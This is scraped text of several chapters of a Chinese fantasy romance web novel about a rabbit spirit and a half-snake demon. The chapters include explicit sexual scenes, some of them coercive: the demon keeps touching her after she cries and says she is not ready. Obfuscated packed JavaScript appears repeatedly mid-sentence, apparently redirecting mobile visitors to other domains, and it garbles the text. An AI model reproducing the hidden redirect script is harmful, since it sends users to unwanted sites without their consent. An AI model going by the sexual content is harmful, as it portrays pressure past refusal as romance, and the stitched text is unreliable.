0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456195|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修界的距离更是天堑之隔,但凡是修士,便不会轻易踏足凡城,尤其是有帝王所在的城池。 恐冲撞帝王紫气是其一,也盖因修士的力量并不容于凡尘,而修士要修炼,要求大道,自然也不会没事往没灵气的凡尘跑,便是要历练,修界也已囊括了许多由宗门管辖的凡区。 久而久之,修士不涉人界帝王管辖的凡世,已成了俗成的约定。 然,偏偏是最不该出现这些奇异的皇城,却藏着一个足以覆整个皇城的大阵。 大阵光亮,皇城内宫主祭祀的钦安殿处,巨大树干内,心跳声越发地强有力。 渐渐地,心跳响动之处,孵出一狐形魂体,甫一孵化,便有三尾。 雪仙还算满意地从树干中心的心脏处脱离,霎时,整个大阵分散暗淡下去,每一红布条所连接的凡人,一夜之间,有的于梦中死去,有的苍老不少,还有性情大变发了疯的…… 凡人提供的魂念自然是比不上妖和修士的,可耐不住人多啊,且他们的欲念繁多,简直取之不尽用之不竭。 雪仙欣赏了一会自己的新尾巴,魂体穿过数道门,最后进入了钦安殿。 殿内香火不断,正中供奉玄天上帝铜像,而正是这肃穆神圣的大殿,一巨大臃肿的蛇形虚影,于铜像之后扭曲显形。 雪仙垂眼,不敢冒犯,大殿的门也在身后阖上。 铜像前的蒲团,一直打坐着的道袍男子缓慢起身,打量起重新聚魂的雪仙,“再有下次,整个皇城的凡人都不够你聚魂。” 雪仙的头垂得越发低:“是属下之过。” “罢了,也是我不曾料到他竟成长到如今的能耐。” 男子挥袖,一红色骨哨浮于雪仙面前:“此乃妖王之骨与他之精血炼成,你行往妖神古墟,他若仍不配合,便以此控他行事。” 雪仙迟疑接过,她并不怀疑这骨哨是否能控制住裴息尘,她只是担忧:“妖神古墟凶险未知,恐损少主的妖躯。” “无妨,总该给他一些不听话的教训。”男子嗓音温润,话语却总透着一股阴寒。 倏地,他呕吐似的“唔”了一声,蛇形虚影也骤然扭曲,蛇首下方鼓起庞大的球状,直如有什么东西要被呕吐出来。 大殿的门扉簌簌抖动,雪仙被排斥了出去。 男子声音好半晌方再次传出:“再败,你也无需再聚魄了。” “是。”雪仙最后看一眼殿内乱舞的身形,缓慢退回聚魂之地,她的心脏,还有她的其中一魄,早在数百年前,就已与这巨树法阵融为一体。 那时,她还是跟在妖王身侧的妖侍,然,强大如妖王,也无法帮她补上天生的残尾。 不过,她是幸运的,她遇到一个天才的凡人,他曾是妖王的凡夫,有他在,不管何时,她的尾巴都能重新长出来。 她背弃了妖王,择了新主。 雪仙捏紧骨哨,她会为她伟大的主人,重获完美的妖躯。 法阵远距离的传送,对魂体来说,还是有些压力,雪仙随意钻入了一凡人的身躯,踏入巨树法阵之中。 再出来时,凡躯破烂,而她也已重新回到妖域,这是妖王城内城最中心的妖王宫殿,空荡荡,显见的,她的妖将被三大妖族清理了一番,但许是三大妖族无法确定妖王到底是生还是死的缘故,妖王宫殿并没有大妖的坐镇。 毕竟,每一次胆敢堂而皇之坐镇妖王宫的大妖,最后都死得连妖躯都寻不到。 只是可惜,他们的妖躯总不够承载主人的伟大。 雪仙遗憾片刻,魂体毫不犹豫飞往狐族的方向。 三尾,但她的神魂仍旧有着化神期的强悍,轻易夺舍了一个同样三尾的小狐狸。 很快,在接下来的几日里,她选中了一个可进入妖神古墟的五尾狐妖,再次争夺身体。 38. 第 38 章 玉扶被蛛娘拉着离开鹰族的地盘,在外城逛了足有半日。 同样是市集,也同样是店铺,但妖的审美,是真的落后了人修一大截。 玉扶选了许久都没挑中适合给阿裴作为礼物的物件。 最后只买了一些漂亮的宝石,还寻蛛娘说了许多的好话,从她的压箱底中换了一段漂亮的蓝色的锦缎。 连着几日,玉扶不修炼的时候,就捣鼓着她买回的东西。 她是受过特训的兔子,她会打络子,还会绣荷包。 师姐们说了,这种小东西最适合拿来送礼,非常实用。 不过,她特训的时日实在过短,络子拆拆打打好几次,配上去的宝石都换了好几次配色,才终于完成了一个剑穗。 绣功就更不用说了,歪歪扭扭地才在发带上绣好了,勉强看得出形状的兔子和蛇。 不太好看,不过师姐说过,原材料好就行,剩下的都无所谓,重要的是心意。 像她这种水准的,可以走为爱努力学习不成的笨拙风格。 玉扶不太懂,但应该不会有错,毕竟师姐们也有同她水准差不多的,可送出去的荷包发带,多得数也数不过来。 听说每一个收到的都很感动。 紧赶慢赶地,终于在妖神古墟出发的前夜准备好了。 玉扶拿着两件东西反复比对,决定先送更漂亮一点的剑穗,发带丑,可以先放着,万一下次阿裴又问她要礼物了呢? 她料想妥当,看着妖域硕大的月亮,狠狠心,放弃了修炼,慢慢踱到了裴息尘的房门口。 已经好几日,阿裴见了她,那眼里就跟也会哼哼似的,挑剔的很,弄得玉扶都不敢上前。 她最后看了一眼手里的剑穗,鼓了鼓气,还是有些忐忑,她将此归类为自己化形的躯体的太大,胆子只占了很小的一点,才变得胆小了。 所以,她又化为了小小一团的兔子。 果然感到安心多了。 她叼起缀着宝石的剑穗,顶开了房门。 房中又黑又静,细听下,连呼吸都渗人似的不存在。 嗯? 好像是真的不存在。 玉扶侧了侧耳,细辨,一下子冲到阿裴惯常懒洋洋瘫着的床榻处,蹦了又蹦,确实空空如也。 他去哪了? 竟然舍得不睡觉? 还又不告诉她! 玉扶很生气,剑穗都被她甩开了去。 然,她挑选的宝石真的很漂亮,孤零零地躺在床头,都幽幽地泛着湖蓝的光。 玉扶挪了挪屁股,被衾也挪动,遮住了宝石漂亮的幽光。 她静悄悄地坐在黑漆漆的房中,脑中不受控地想起下山前翻过的话本,书里这种半夜不在房里的主角,一般不是出去做坏事,就是去和别人的妻子约会,然后一边做坏事一边约会。 这时候,会被突然回家的丈夫发现,亦或是在逃回家时被醒来的妻子发现。 玉扶当然知道,师姐们拿出来的都不是什么正经书,但她莫名的就有了后者的心境,等待混蛋丈夫偷情回来的愤怒妻子。 如果可以的话,她更想做前者,主动抓奸但不加入的愤怒丈夫。 不过,她并不知晓阿裴去哪里了。 无奈,只能做后者的她,等着等着,慢慢缩进了被窝之中。 * 裴息尘每一夜都离开鹰族的地盘,受玉扶提问的启发,他对妖神古墟生了疑。 他带着惑心镜,分别去了狐族与狼族在内城的地盘,同鹰族差不离的筹备,挑选拉拢归大妖属本族,谋划在抢得妖神传承的同时,打击其他两族。 可有意思的是,他们与鹰族一般,也知晓有一妖墓的存在,讳莫如深的模样,很难不怀疑是同一个。 并且,会令关系不合的三族,共同打开妖神古墟的缘由,是因妖神古墟的开启需要的能量巨大。 仅凭一族,全力下或也能开启妖神古墟的通道,但未知下,谁人敢赌上全族? 万一里头的危机大过了机遇,族中精锐折损过多,岂不是白白从妖王角逐中的退下场? 故而,三大妖族开诚布公,短暂地决定合力一处,开启妖神古墟的通道。 单就这些来看,并不存在疑点,然妖神古墟消息来源的源头竟是雪仙,那就值得玩味了。 她将各大妖族聚焦妖神古墟,又从人族修士的地界将自己唤醒,引来妖域,甚至“临死”,也要提及妖神古墟—— 裴息尘放归惑心镜捕来的妖魂,慢条斯理地思索整理着,每一次遇到狐妖获得的信息。 妖王、妖躯、更完美…… 倏地,裴息尘绽开了妖孽至极的笑,原来是看中他这一副躯体了啊。 但,狐妖的背后,到底是妖王,还是另有其人,可不好说。 记忆中的美丽大蛇,确想食掉亲子,可仍有另一人,也不断地抽离着他的半妖之血。 那是个凡人。 二百年后,真的还活着吗? 裴息尘子夜一样的眼眸竖瞳凸显,虹膜更是呈现裂痕状般的冰冷,他似在自言自语,又似乎在跟同另一个自己对话:“你看,这幅身躯,除了你我之外,可还有人在觊觎着。” “到现在你还想着压制我,继续当你的佛子?” “莫要天真了。” “倒不如成为我的一部分,你我,共成强大妖躯。” 那识海深处呢喃的清音,在裴息尘一句又一句的压制下,渐渐继续沉寂。 似默认了他的说法,也似苏醒的记忆中有了同化的迹象。 裴息尘明猜到了狐妖的目的,可他并不会拒绝妖躯强化的机会,他会更强,也会更掌控自己的身躯。 更会令这些人知晓,他的身躯,唯他可做主。 离开了狐族的地盘,他于硕大圆月下,肆意敞放着妖息,半尾蜿蜒滑动,满满的破坏欲达到了顶峰。 好在,他的理智仍在,进入鹰族的地盘,便收起了尾,他的住所,房门无风而开,又迅速闭紧。 空气中漫着一丝小兔的味道。 他的舌,非人地捕入小兔的气息吞下,肯定地眯了眼—— 她来过。 不同于在玉扶面前的忍耐,他的妖性,对情、潮的阈值其实非常之低,尤其是这样外出过的夜晚,小兔的气息简直是绝妙的抚慰剂。 她是他强求来的小兔,他不能让她跑掉,不能让她害怕到离开他,不能让她瞧见他不属人也不完全属于妖的形态。 更不能让她发现,自己对她的需求比她还强烈。 否则,他无法保证,又怂又色的兔子到底是会害怕他,还是会得寸进尺地得意忘形。 他一直很好地掩藏着这些,可在无人之时,他极端的欲1念还是会无所顾忌地冒出来。 譬如当下,他的尾巴再次冒出,所有蛇鳞刺激地颤栗,想细致地缠过玉扶的每一寸肌肤。 衣带扯松,腰腹往下的鳞片簌簌地抖动,被顶起。 每一个毛孔都在汲取着空气中玉扶残留的气息。 可惜,她的白绒球已经彻底失了作用。 惑心镜似感召一般地出现,这块镜子,自他苏醒后,时被送给玉扶玩耍,偶尔又被他收回。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465846|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻,镜身在放大,内里浮现玉扶的身影,她面容姣好,如山水般灵秀,眼眸从镜中望来,清澈美丽。 裴息尘隔着水波一样的镜面,望着玉扶的同时,一手没入腰腹下,喉间不住地溢出低沉的喘1息:“我的阿扶,好漂亮……” 从被窝中冒头的玉扶瞪大了眼,她所见,先是正对她的人高镜子,里头显现的是与她化形半分无差的影像,而阿裴,距离门扉不远地背对她,粗1长的蛇身盘旋,如王座一般将上半身托起。 尖细的蛇尾活泼地翘起,一下一下地摇摆。 玉扶简直不知道该如何对面这状况了,他半妖的蛇身强大、粗1壮,蛇腹蜷动间只能令人惊叹恐惧他的力量,而这样力量的正中,投下的影子—— 怎么有两根? 这完全超出了在山上胡乱生长,下山才临时补课的玉扶常识。 惊讶中,惑心镜的镜面开始变化,非常清晰地显出从被子中钻出的一个毛茸茸的兔脑袋。 玉扶瞳孔被吓得放大,那镜中的兔子也如是。 裴息尘盯着镜中的影像,缓缓转头,乌缎一样的发向肩后滑动。 玉扶紧张极了,猛地缩入被中。 坏心眼的镜子,将她的举动全然显现。 这绝不单单是影像而已。 裴息尘也已捕到玉扶的位置,按理,他早该发现玉扶的,然在一起久了,一些存在已成为了习惯,加之今夜的他,也确有些疏忽了。 盘旋蛇尾蛇腹摩挲散开,鳞片摩擦在一起的声音极小,可并避不开玉扶的耳朵,这种声音她是听过的,也想像过阿裴的尾巴,但想象再多也没有见到的震撼,尤其是,他还在看她镜像想她。 玉扶说不出什么感觉,有点害怕,还有点得意。 不消一会,那些微的摩擦声不见了,取而代之的是衣料窸窣,走动的声音。 玉扶想了想,被中拱起了少女的身形,她拥着被,从中钻出一个脑袋,脸蛋红扑扑地看向阿裴:“你是不是有一点喜欢我?” 玉扶此前从不认为阿裴喜欢她,因为他待她阴晴不定,总是一会好一会坏,他还时不时地问一些他与息尘比较的话,要她做选择。 玉扶想,阿裴是在同息尘较劲,才故意带着她。 因为似乎只有她知晓,他的身体里住着两个不同的人格。 平日里,也都是她主动的多,这也没没什么了,只要她得到的好处都是实打实的就行了。 但她发现,原来她什么也没做的时候,阿裴也是会想她的,她的心就不受控地得意起来。 裴息尘停顿住了脚步,仔细盯着玉扶,漂亮的小兔,十足小美人的化形,脸颊的绯色,胭脂一样动人。 被衾裹住的颈段往上,耳垂也可爱得通红。 但,她的羞怯矜持装得一点也不好,眼眸中骄傲的神采欢快得都要溢出来了。 看来是得意忘形多一点。 裴息尘有了断定,整个人又重新松弛了下来,他缓慢地压着略冷淡的声线,不置可否地“嗯”了声。 不过这种刻意而为的冷淡,在玉扶听来等同没有,她开心得掀开薄被,整个人都要纵了起来。 眼见就要扑来,裴息尘一指压在了她唇瓣上,将她喜悦的动静压坐回床上:“来寻我的?” 这不是当然的事吗? 玉扶点头。 裴息尘:“方才都看到了?” 玉扶迟疑了会,还是点头。 “那没什么想说的吗?” “阿扶......第一次见到我的蛇身......什么感觉?” 39. 第 39 章 裴息尘嗓音低诱,眼波妖孽地转动,笑意坏蛋似的压下。 玉扶心头的喜悦瞬时被压得只剩下一点。 想说的?感觉? 思绪被阿裴的话语紧紧占据,不自觉地回想瞧见的一幕,半人半妖,蛇尾盘缠拱起独属人的腰腹,映在地上的影子,腰段简直要把她的魂给勾飞了,如果不是惊异的两-根太过悚人,她不会刻意地去忽视自己的所见。 裴息尘轻弹了下玉扶饱满的唇瓣,提醒她回答。 她瑟瑟地垂下眼睫,双手紧张地搅在一起,模糊不清地道:“挺好的呀。” 裴息尘又压下点眼,迫着玉扶与他对视:“哪里好?” 玉扶硬着头皮回答:“很漂亮。” 裴息尘舒了眉,继续:“哪里漂亮?” “鳞片漂亮......头发也漂亮......”玉扶回答得都快哭了,她不想一直一直回想的,再漂亮,细节想多了,她也是会怕的。 何况,他的蛇尾那样粗,看上去那么强悍,简直能绞死几个她的程度,她的色心就算再为她壮胆,也是会有阴影的。 尤其是,在自然中,蛇天生就是兔子的天敌。 眼见裴息尘又要张口问问问。 玉扶受不了了,双手反抗地去捂裴息尘的唇:“呜呜呜,你不要问了。” “再问我要觉得你不漂亮了。” 拖长的音调,哭腔都被逼了出来。 裴息尘被柔软的手胡乱捂了个结实,但显然的,捂着他的人,比他还要委屈,半身蹭在他胸膛,抽抽噎噎的,好不可怜。 “哭什么?” 裴息尘无语地扯下她的手,胡乱给她擦拭一下,蛇尾重新显形,尾巴尖也落到了玉扶手中:“既然觉得漂亮,给你抱一下。” 玉扶怔住了,眼泪无声地流得更凶了,冰凉凉的触感,活动的弹性,抛出去尖叫的心都有了。 远看几眼是漂亮的,可不代表她会喜欢碰,她都没有做好准备。 但那尾巴尖,就十分有存在感地落在她手心,根本抛不开去。 “喜欢坏了?”裴息尘轻笑地瞧她模样,尾巴尖好心地动了动:“你可以摸。” 他眼下心情实是称得上愉悦,被打断的情-潮,令他整个人都溢着压抑的兴奋,尾巴尖的表现尤甚。 玉扶僵硬的手,能清晰感受到阿裴的尾巴尖活泼得过分,它一点也感受不到她的害怕,贴着她的手腕就往里钻。 她彻底绷不住了,眼都不敢看地求道:“别动了别动了。” “呜呜呜。” “它钻进去了——” “别让它勾我。” “我怕……” “怕”字一经出口,玉扶倏地意识到什么地闭了嘴。 果然,那贴着她腕的尾巴尖骤地僵一下,猛地退出,而裴息尘周遭的空气,宛如被冻住般寒气迫人。 他是想过玉扶会害怕的,她是一只怂得只剩色胆的兔子,会害怕从息尘的躯体里醒来的他,也会被他的妖息吓到晕过去。 想是不喜他这一类的妖。 然,日渐的相处,她应是习惯了他的,也该早对他的妖躯有了料想。 故而,虽是突然被玉扶见到了尾巴,他也没有特别的紧张。 甚至在察觉她的得意忘形时,他是被取悦的。 但她不该一边夸着他漂亮,一边却害怕得不敢接受他。 说谎的兔子,实是令人恼怒。 他的蛇尾渐缩在后,眼眸也一点点变暗,他看得出玉扶还在害怕,垂着的眼睫每颤一下,就沾上些湿雾,可怜极了。 可就是这么可怜的小兔,总对他虚情假意。 毕竟是抢来的,容忍点也无妨。 但莫明的奇怪,他开始不愿接受这种容忍,他包容了她的一堆毛病,气性大,爱哭,爱装委屈,还胆小…… 那她,怎么可以不回报他呢? 既不回报他,那就蹂躏她,让她清艳漂亮的小脸上流露出更可怜的神情。 裴息尘恶意地弯了唇,还没有化为人躯的蛇尾,尾巴尖缓慢地从身后靠近玉扶的脚腕。 然,玉扶对氛围的感知还没有迟钝到无所察的地步,阿裴发笑的样子,坏得明明白白。 玉扶懊恼吐出的“怕”字,可又觉得委屈,她本来就怕这一类冷冰冰滑溜溜的妖嘛,上来就让摸,她都没准备好。 她咬了下唇,对危险的本能让她做出了反应,她揪住了裴息尘的一片衣摆,委屈哒哒地抬眼:“你不要这么凶。” “你方才还点头有一点喜欢我的。” “我又不是不摸你,你尾巴尖那么过分,都要钻到我咯吱窝里了,还不让吓到一下吗?” 她声音实是怜弱可怜,可细听下,又不乏丝丝的嗔怨与责怪。 裴息尘忍不住乜她一眼,尾巴尖也似反思地停顿,然则,有没有钻到咯吱窝他能不知道吗? 顶多就是到腕肘。 但显然的,玉扶并没有说够,她开始为自己寻到理,胆气开始变壮:“你到底有什么好生气的?我都特意来给你送礼物了。” “我准备了好些天,你却不在,我都没有生你气。” 其实是有生气的,只是等着等着睡着了,醒来就看到极刺激的一幕,到现在也确实都忘了生气这事。 可这并不影响她将此拿出来同阿裴讲理。 她表现出了自己的大度,她在等着阿裴表态,只要他问一下是什么礼物,她就会开心地翻出剑穗送给他。 他也再不能对她生气。 她抬着眼,期待地等着。 可好一会,裴息尘都没有给她回应,他只用一种很古怪的目光打量着玉扶,他自然记得,是他让玉扶想明白了再来寻他修炼,本意中,有在等玉扶的表示,可以是礼物,也可以是旁的些什么讨好,他都能接受的。 然则,放到此刻被提及,他的心情还是很怪,没有被哄到的感觉,反而再次认清,贪心的兔子,没有真心,只想用他修炼。 明明是早已知晓的事实,也是他诱她的饵,可怎么得到回报,还是会生出不满足的感觉。 想要的,似乎不止是礼物? 罢了,一只小兔而已。 裴息尘的妖性惯来懒,不愿再多思索,垂落的手轻轻跳了一下,尾巴尖开始不情不愿地撤离,他决心不顺着玉扶,将她赶走睡觉。 可被揪住的衣袍,像是被扣了一下地更紧了。 玉扶眼中水光异常浓地抬眼看着他,她又退让了:“好吧,虽然等了你好久,但我真的一点也没有生你的气。” “我现在准备好了,可以摸摸你的尾巴了。” 骗子,泪花都要晕成湖了,还说准备好了,尤其是强调的没生气,生怕人听不出她的委屈来。 裴息尘心中嫌弃,然见她摊开的手心,却是他的尾巴又兴奋了。 漂亮的小兔,手也又白又小,几乎可想,也就只能握住了他尾巴最尖端的一小段,再往下,要用双手,再是贴上来,才能圈住…… 想着,他的尾巴尖已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468426|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经超出控制,重新落到了玉扶的手心。 这次,尤为安定,没有乱动,只是微微地侧翻一下,尖簇矜持地勾起一点弧。 玉扶被吸引了,平心而论,阿裴的尾巴除去令人胆怯的粗-壮强悍外,真的很漂亮,粼粼的蓝,昏暗的光线也挡不住的华丽。 不刻意去想他的可怕,轻易就能被这份美丽吸引。 尤其是这无害的尾巴尖,可爱,尖细,乖巧,令人卸下心防地去感受它的贴近。 触感并不滑溜黏腻,而是冰凉清爽的,每一块鳞片都肉眼可见的玉润,而且,排布得极为紧密,形状上也越往尾尖越狭长。 裴息尘的尾巴尖被玉扶观察地盯着,喉间口干地发紧,三心二意的小兔,盯着他的尾巴都能眼睛发亮。 他原谅她起初的嫌弃了,胆小鬼总是要慢一点适应的。 像是察觉到主人的心境,玉扶手心的一小段尾巴尖倏地微微勾了一下,极小一点地戳到了玉扶的手心。 就仿佛阿裴给人的感觉一样慵懒。 玉扶在盯视中感受着那幽微一点的触碰,心痒痒地寻求准许:“我要碰一下。” 裴息尘妖孽冷傲地乜玉扶一眼,无不可地颔首一点。 比尾巴尖更大段一点的尾端搭在脚踏之上,只有最无害的部分躺在玉扶的手心,她抽出一只手来,只用指腹轻轻滚了滚尾尖。 尾下的部分也露了出来,玉扶讶然地睁了眼,漂亮的鳞片有牙印似的凹痕。 她想起,她曾无意中咬过一次阿裴的尾巴。 她装睡得好,没有被抓住,此刻见此,难免还是有些心虚,上手给尾尖重新翻回正面,还偷眼觑了阿裴一眼,希望他不要记得这个才好。 不过,她也奇怪呢,她的牙有这么好的本事,能让印留这么久? 这样想着,不免又想翻开看一看。 她的手掌软绵绵的,手心温度高出尾巴尖好几个度。 裴息尘盯眼瞧着,身体部分开始变得僵硬,需要用极大的意志力,才能控制尾巴不去缠上玉扶,全身各处压下去的兴奋,有重新抬头的趋势。 玉扶很快注意到,阿裴的尾巴又开始活泼了,从她的指缝溢出去,又交尾似的缠着她的手腕,尾腹蜷一下松一下,又蜷一下松一下。 好玩的很,玉扶有些欢欣地抬手道:“阿裴,你看,我不怕了,方才是......不熟......” 不熟二字几乎是嗑跘着吐出的,她发现阿裴很不对劲,颊靥泛红,眼神黏腻,胸膛的起伏跟锁定猎物狩猎似的。 玉扶重重打了个哆嗦,她是有发-情经验的,可是她对阿裴的发-情经验没有认识啊,想到投下的两-根影子,玉扶头皮在发麻:“我......想起来我房门......忘关了,我......要去看一下。” 她连鞋都来不及趿,向外跑去。 她的速度无疑是快的,可她忘了,手腕上还缠着阿裴的尾巴尖呢。 还没跑出去,手腕缠绕处开始拖她的后腿。 乌缎一样的蜷发自身后从她脸颊垂落,是阿裴的发,他的手臂勾住了她的颈,呼吸贴在她耳畔:“阿扶.......你要去哪?你的房门关了......不是说有礼物给我?” 更粗壮的蛇尾将他们围了个圈。 玉扶清楚跑不掉了,口中呜呜呜地开始哭泣:“我没准备好,呜呜呜。” “我没学过同时两-根的。” “我师姐们没教过。” 裴息尘:...... 40. 第 40 章 房中一时只剩下玉扶低低的泣音。 裴息尘无疑是有些失控,他全身血液都在玉扶对他尾巴的把玩中沸腾。 他静静地看着她,想,她的手还可以玩弄一些其他的地方。 然,胆小的兔子,对危险总有一种敏锐的直觉,她又要跑了。 而且,还是带着他的尾巴尖跑。 他当然要追上来。 追上的一刻,小兔香甜的气味就俘获了他,真有蹂躏破坏的欲望。 尤其是她在说什么懵懂大胆的话? 她的师姐们都教了她什么? 还想两-根一起? 真是,贪心的兔子。 他发笑地去舔玉扶眼角的泪痕,缓慢得像是在品尝着什么珍馐。 来自野兽享受似的挑逗,玉扶哼唧都不敢,缠绕着她小腿肚的蛇尾,天然有着高一层食物链对她的压制。 她瑟瑟地接受着,等待着,还憋着泪。 她从来不懂,眼泪到底有什么好舔的,她想,若是有一日,阿裴也流泪,她也一定要尝尝。 如此精神胜利地想着,被品尝的等待也就不是很难熬,慢慢的,嘶嘶的舔舐消失,取而代之的是冰凉的唇吻上了她眼皮,锢在脖颈的手也转而掰过她的面向,摩挲地停留在腰后。 这时,玉扶才发现,不知道什么时候,阿裴的蛇尾已经收了起来,重新变得像个人。 人模人样的阿裴让玉扶压力陡轻。 她颤着睫抬眼,视线不断停留他妖孽的面庞,似乎只有多看几眼,才能驱散他非人部分的惊惧。 玉扶确实是这样想的,甚至企图与裴息尘商量:“你想睡我的话,可不可以别用方才那个形态?” “我不是觉得可怕,而是觉得,那个形态神交更适用一点。” 毕竟神交嘛,怎么样古怪的形态都能拧在一起的。 躯体的话,玉扶认为,她才只同阿裴的尾巴尖打好了关系,其他的她还没适应呢。 她在撇清害怕的同时,说得异常诚恳。 但,她的诚恳没有等来同等的对待,裴息尘的视线,极其平静,徐徐,说话也慢条斯理:“阿扶,你懂很多。” 不是疑问,而是肯定,裴息尘不止一次发现,玉扶于这方面懂得异常多,接受力也尤其的高,就连他也没有想过如何对她,她却已经自己想到了。 原来,不是野生的兔子,而是有些奇怪的家养兔子。 并不算意外,从她第一次用出双修功法的时候就已经想到。 可是,还是不受控地想,她这些知识都是怎么学的呢? 玉扶渐被看得不自在,总觉得有些悚然,恍若阿裴舔的不是她的眼尾,而是她的全身。 她挣扎地动了动,裴息尘却极其淡地笑了笑,冰凉的指腹细细上滑,带着调-教的压制。 玉扶的后颈被掌住,裴息尘的唇随之压下,轻轻地一咬唇瓣,并不深入地分开,往下,咬开衣袍,隔着最贴身的一层吮住,用舌头吃,还用牙弹。 玉扶鲜润的唇瓣微张着,完全没预料到阿裴的举动会这样的......意外? 意外得她有些无措,还有些失神,身子控制不住地抖,害怕、颤栗、渴望与失控全然混杂在一块,最后只能溢出娇气的哼哼声。 裴息尘吃够了一边,优雅又妖孽舔过唇瓣,抬起头,扯出一笑问:“阿扶,这也学过?” 玉扶先看到的是他的笑容,妖孽,充满着邪气,上挑的眼尾也全是坏蛋的不逊,组合在一起的五官,有种堕落到极致的吸引力,玉扶好费力地才能跳过他的脸庞,去辩着他话中的意思。 但显然的,裴息尘并没有等待她回答的耐心。 他又低下了头,公平地照料着另一侧,许是有了经验的缘故,几下子就把玉扶吃得脑子迷糊了,全然没有留意阿裴的尾巴又兴奋地跑了出来。 他的蛇尾很大,很长,上面部分托住了她的后腰,可最调皮的尾巴尖却偷偷地绕上她的脚腕向上。 等她反应过来时,已被阿裴得逞,凉意尤甚地贴着她的腿-根。 这让她身子都簌簌地轻颤,她身心都受到了冲击。 她开始并起腿,不让尾巴尖乱探,双手也费力推动阿裴的脑袋,完全说不出话来地摇头抗拒。 她是学习好多知识了,可理论与实践完全是不同的,特别是,她偏爱挑的是能增修为的学,里面就算有人物关系复杂一些的,可也没有涉及阿裴这样半人半妖,还爱用一半原形作怪的。 这种行为,玉扶就同理解不了他为什么喜欢舔眼泪一样,理解不了,全身都奇奇怪怪的,灵魂都像是要被欺负了似的发飘发软。 最重要的是,这种方式不涨修为,功法的书简上记载的,都是双-修为重,肉-+欲为辅的,阿裴全然只取辅助的部分欺负她。 她不服气! 被逼急了的玉扶想咬人。 然也是她愤怒的动作,拱腰时,自己撞了上去,本就很重,很急了,坏尾巴尖还毫不放过机会地在外头勾一下,抠一下。 光滑但有细鳞的触感,擦得玉扶大脑懵懵,眼前空白。 她被激出了一层薄汗,整个脑袋埋入裴息尘的颈侧,身子一耸一耸地哭了,她讨厌死阿裴了,他比妖还妖,没有羞耻,没有道德,没有下限。 他怎么可以这样欺负她,她恨恨地咬他,咬得他发出了嘶气声,才闷声道:“你让你的尾巴出去,不可以再碰我了。” 即便被咬,裴息尘也保持着拥着玉扶的姿势,蛇尾更是给了她极佳的支撑,他垂眼端详了一会玉扶,她楚楚可怜,小脸潮-红,眉眼中带着一种生机勃勃的艳色,只是外头勾勾,擦擦而已,去得有点快,还很有闹气的力气。 他心中做完总结,终于撤出了尾巴尖,让玉扶一起看地评价道:“阿扶,是被你淋湿的。” 玉扶根本躲不开他的目光,只能羞耻地去瞪他讨厌的尾巴。 那尾巴尖覆着水淋淋的一层,示威似的摇摆着。 更气了。 偏生裴息尘还要问她:“阿扶,现在还觉得它只可以神交吗?” “不舒服吗?” “要不要尝尝你自己的味道?” …… 他越问越没有下限,玉扶第一次理解了什么是纸上得来终觉浅。 他就是个不折不扣的大坏蛋! 玉扶并不想和他继续了,她的渡情期反应并没有特别频繁,尤其今日的冲击对她特别大,她一点也不想色色的事情了。 在见到阿裴一点也没有缓解,裂开冒出点什么的鳞片时,她毫不犹豫地跑了。 很庆幸,阿裴这次没有追来,但代价是,玉扶听了他一晚上不知廉耻的各种声音。 她后半夜一点也没有睡着,早上起来还两脚发虚,根本要站不住。 反观阿裴,他也没有精神,但他平时就这样,懒洋洋的。 他们二妖,就这样跟上了前往妖神古墟的大部队。 鹰族没有飞舟这种代替飞行的工具,但精锐们也不可能把灵力浪费在飞行之上,故而,有一批专注飞行速度的鸟妖为坐骑。 玉扶自然和裴息尘分在一起,还有熟悉的妖蛛娘和不太熟的妖单云霄。 从上了飞行鸟妖的背,玉扶就贴着蛛娘,没话找话地与她说话,然后偷偷地夹带上几句真正想问的。 诸如:“不同种族的妖,一起修炼的时候会化为原形吗?” 又诸如:“双-修时,如果有其中一方妖对自己某部位的原形很得意,非要留着怎么办?” 还有:“神交可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16482168|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解决渡情期的身体反应,那可以一直只神交不其他吗?” …… 蛛娘烦死问题一堆的玉扶了,她以为她问得很隐晦吗? 每一句都指向她和大妖好吧。 蛛娘翻着白眼地回答:“都是妖,哪有这么多担忧,想怎样就怎样。” “全部原形可以,留一部分也可以,神交可以,一边神交一边恩爱也可以。” 说到这里,蛛娘忍不住看了一眼在思考的玉扶,兔妖虽不强,但通身的干净纯美,几乎可想,原形也很拿得出手。 